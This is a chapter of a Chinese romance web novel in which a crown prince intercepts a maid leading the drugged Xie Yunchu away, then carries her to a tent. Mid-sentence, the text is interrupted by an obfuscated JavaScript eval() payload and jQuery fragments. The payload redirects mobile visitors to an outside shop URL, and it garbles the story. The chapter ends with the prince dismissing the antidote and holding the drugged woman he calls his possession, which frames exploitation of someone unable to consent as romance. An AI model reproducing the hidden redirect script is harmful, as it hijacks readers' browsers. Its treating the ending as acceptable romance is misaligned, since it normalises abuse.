4. 药物迷情

作品:《太子逃妾

    夜宴正酣,觥筹交错,宗室子弟和年轻臣工依次向皇帝呈献今日的猎获,说着讨巧的吉祥话。皇帝不时点头嘉许几句,君臣相得,一派和乐融融。


    李持衡坐于御座左下方的首席,面前案几上摆着各色珍馐,却几乎没有动过。他手持一只鎏金酒樽,眼神放空,心思飘忽,胸口一阵阵发堵,酒液入口都带着涩意。


    内力深厚,耳聪目明,在某些时候并非好事。


    今晨在营地边缘擦身而过,谢蕴初那满是嫌恶的“冷冰冰硬邦邦的”“跟这种人一块过日子有什么趣味”,一字不漏,都清晰地钻入了他耳中。


    他猜许是昨夜他说话重了些,小娘子不高兴了,在使小性子赌气,所以在林中见她为只兔子犯难时,他便猎了送给她哄她,想着这下总该好了吧?


    万万没想到,等来的不是她的欢喜,而是客气又疏离的拒绝。更没想到,会听到她吐露那样一番心里话。


    “打一巴掌,给一个甜枣……跟训狗、逗猫儿有什么区别?”


    “他根本就不喜欢我……何必自取其辱?”


    “我可是正二品的县主……明摆着吃亏……”


    “受够了给他当狗了!”


    每个字都敲的他头脑发懵,她在胡说八道什么?他何曾这样想过?真心难辨,他慎重一些又有何错?她就这样看待他的示好的?觉得跟了他还亏了?


    他从未被人如此嫌弃和贬低过,尤其这个人,还是爱慕他多年的谢蕴初。他觉得她不懂事,觉得她麻烦,怀疑她的用心,却从未想过,有朝一日,会从她嘴里听到如此决绝又伤人的话。


    李持衡烦躁的端起酒樽,刚送至唇边,东宫左卫率赵方锐脚步匆匆走过来,俯身凑到李持衡耳边,压低声音,快速禀报了几句。


    李持衡手一顿,目光冷冽,随即放下酒樽站起身,转向皇帝,微微躬身,“父皇,蜀中刚送来几本紧急奏报,涉及春耕与边饷,需即刻处理。儿臣恐有耽搁,先行告退,还请父皇恕罪。”


    皇帝正听一位郡王说着猎狍趣事,闻言转头看向李持衡,语气温和,“既是急务,太子便快去处理吧,国事要紧。”


    “儿臣告退。”李持衡转身离开宴席。


    这一幕落在有心人眼里,意味颇深。皇帝正值盛年,应是精力充沛,大有所为之时,太子却已监国多年,权柄日重。


    所谓“卧榻之侧岂容他人鼾睡”,这对天家父子间的明争暗斗从未停歇。然太子能力卓绝,行事几乎无可指摘,朝野归心。相比之下,皇帝反而处处掣肘。如今连蜀中急报这等军国要事,都是不经御前而直送东宫,高下已不言自明。


    李持衡脚步极快,赵方锐紧跟在他身侧,继续快速禀报:“殿下,方才县主离席后不久,裴娘子身边的粗使婢女便悄然尾随。县主似是饮多了酒,步履不稳,她的丫鬟春桃中途离开寻找什么东西。那裴家婢女便趁机上前,搀扶住了县主,正将县主往……往西边羽林郎轮值休息的营区方向引去。县主状态不对,不似寻常醉酒,恐是中了某些下作药物,神智已不甚清醒。”


    李持衡眼中寒意更盛,裴西月与谢蕴初素来不和,明里暗里较劲争风,互看不顺眼。这些小娘子间的醋意争斗,他向来懒得理会,只觉无聊。可裴西月这次竟敢用上如此龌龊的手段,要彻底毁了谢蕴初的清白和名节,好歹毒的心思。


    李持衡心中焦灼,朝着西侧营区快步而去。


    没走多远,便在一处光线昏暗的帐篷拐角处截住了人。一个身材粗壮的婢女,正半扶半拖着脚步虚浮的谢蕴初往前挪动。


    “站住!”赵方锐低呵道。


    那婢女浑身一颤,惶恐地转过头,看到月色映照下太子那张冰冷慑人的脸时,顿时吓得魂飞魄散,哪还顾得上谢蕴初,“噗通”一声跪倒在地,磕头如捣蒜。


    “殿、殿下饶命!奴婢……奴婢只是……奴婢什么都不知道啊殿下饶命!奴婢……奴婢鬼迷心窍……殿下开恩……”


    她这一松手,原本全靠她支撑的谢蕴初顿时失去依凭,软绵绵地就要向地上倒去。


    李持衡瞳孔微缩,一个箭步上前,伸臂稳稳揽住了谢蕴初,将她带入怀中。


    谢蕴初只觉得天旋地转,然后落入一个带着夜露微凉气息的怀抱。那凉意透过衣料传来,如久旱甘霖,缓解了她体内如同火烧般的燥热。她本能地就往那凉意的来源贴去,脸颊蹭着对方坚实的胸膛,手胡乱摸索着,无意中触到了对方露在外面的脖颈。


    好凉!像夏日里最解暑的冰块。


    她想要更多,手指笨拙地想要扒开那碍事的衣领,整个人像八爪鱼一样试图贴得更紧,嘴里发出含糊的呓语,“凉……好舒服……别走……”


    李持衡身体僵住,他从未与人如此亲近过,怀中之人不安分的磨蹭,脖颈处柔软滚烫的触感,一道道麻意窜过他的四肢百骸。他呼吸微窒,立刻握住了谢蕴初两只手腕,反剪到背后,阻止她进一步的举动。


    他对身后的赵方锐冷声道:“带下去,严加看管,不许走漏半点风声。”


    “是!”赵方锐立刻示意身后两名亲卫上前,将那婢女堵了嘴拖走。


    “去找吴太医拿些清心去热的丸药,你亲自去,要快。”李持衡补充命令,目光落在怀中人儿酡红不安的小脸上。


    赵方锐应诺迅速消失在夜色中。


    怀里的谢蕴初软得像是没了骨头,呼吸急促,双眼迷蒙地半睁着,毫无焦距。李持衡不再犹豫,将她打横抱起。


    目光扫过四周,心中迅速判断,此刻将她送回她自己的帐篷,或带去他的地方,都绝非明智之举。营地里人多眼杂,不知多少双眼睛在暗处看着,稍有不慎,流言蜚语便能毁了她。


    李持衡抱着她,走向附近一处专供皇室贵胄临时小憩的独立帐篷。这里相对僻静,平日少有人来,此刻更是空无一人。里面陈设简单,只有一张铺着厚软皮毛的矮榻,一方小几,两把椅子。


    他将谢蕴初


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17075074|195253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    轻轻放在榻上,便想抽身离开,去帐外等赵方锐。


    谢蕴初一离开那“凉源”,立刻不满地哼唧起来,伸手去抓他的衣袖,口中嘟囔,“别走……好热……难受……要凉的……”


    李持衡被她扯得微微俯身,不得不看着她。她躺在深色的皮毛间,领口早在挣扎中敞开了一些,露出修长泛红的脖颈和一小片精致的锁骨。脸颊红晕弥漫,一直染到眼尾,眼眸水光潋滟,像蒙着一层雾气,唇瓣无意识地微微张合,呼吸灼热。


    帐内只点着一盏昏黄的羊角灯,光线暖昧不明,刺眼得让他喉头发紧。李持衡猛地偏过头,移开视线,不去看那旖旎的景象。他深吸一口气,强自镇定,抽回手想先将她敞开的衣襟拢好。


    谢蕴初却十分不满。在她混沌的意识里,这个“大冰块”不仅不让她贴,还长了脚想跑。她用力眨了眨眼睛,视线模糊了很久,才勉强聚焦,看清了眼前人的面容努力聚焦,看清了眼前人的面容。


    俊美无俦,却也是她此刻最不想看见的脸。


    谢蕴初皱眉,声音软糯,却带着厌恶,“怎么……怎么做梦……还能看见……这张脸……烦死了……”


    她试图挥开他的手,却没什么力气,只能继续嘟囔,“恶心吧啦的……起开……离我远点……不要你!讨厌你!”


    李持衡正准备帮她拢好衣襟的手,就那么悬在了半空。像被一把烧红的钝刀子,狠狠捅进了心口,痛得他无法呼吸。


    他怔怔地看着榻上眼神迷离,却满脸写着抵触和厌烦的少女,耳边嗡嗡作响。


    她说什么?


    她……讨厌他?


    她怎么会讨厌他?


    她不是一直都喜欢他吗?用那种炽热得几乎要将他融化的眼神望着他,用那种笨拙又真诚的方式追随着他,无惧冷眼无畏嘲笑,不离不弃。


    而现在,这温度,这注视,这追随……她说,她不要了。她说,她讨厌他。


    看着她在药物作用下痛苦挣扎、辗转难安,却依旧在潜意识里如此抵触他,李持衡只觉得心慌意乱,认知崩塌。


    他该怎么办?


    就在这时,帐外传来赵方锐的声音,“殿下,药取来了。”


    李持衡猛地回神,目光再次落在谢蕴初布满痛苦和潮红的小脸上。她无意识地蹭着身下微凉的毯子,似乎不如贴着他时那般满意,眉头紧紧蹙着,嘴里发出难受的呜咽。


    方才那剜心般的“讨厌”二字,犹在耳边。


    可她是他的啊……


    他习惯了她的存在,习惯了她的目光,已将她视为自己的所有物。他也早就想过,无论将来太子妃是谁,无论朝局如何变幻,东宫里必定有她的一席之地。


    她怎么能不要?怎么能讨厌?


    片刻之后,他闭了闭眼,再睁开时,眼底翻涌的情绪沉淀下来。他伸手将她揽入怀中,她脸颊紧贴着他的颈侧。


    李持衡对着帐外沉声开口,“不用了。退下。”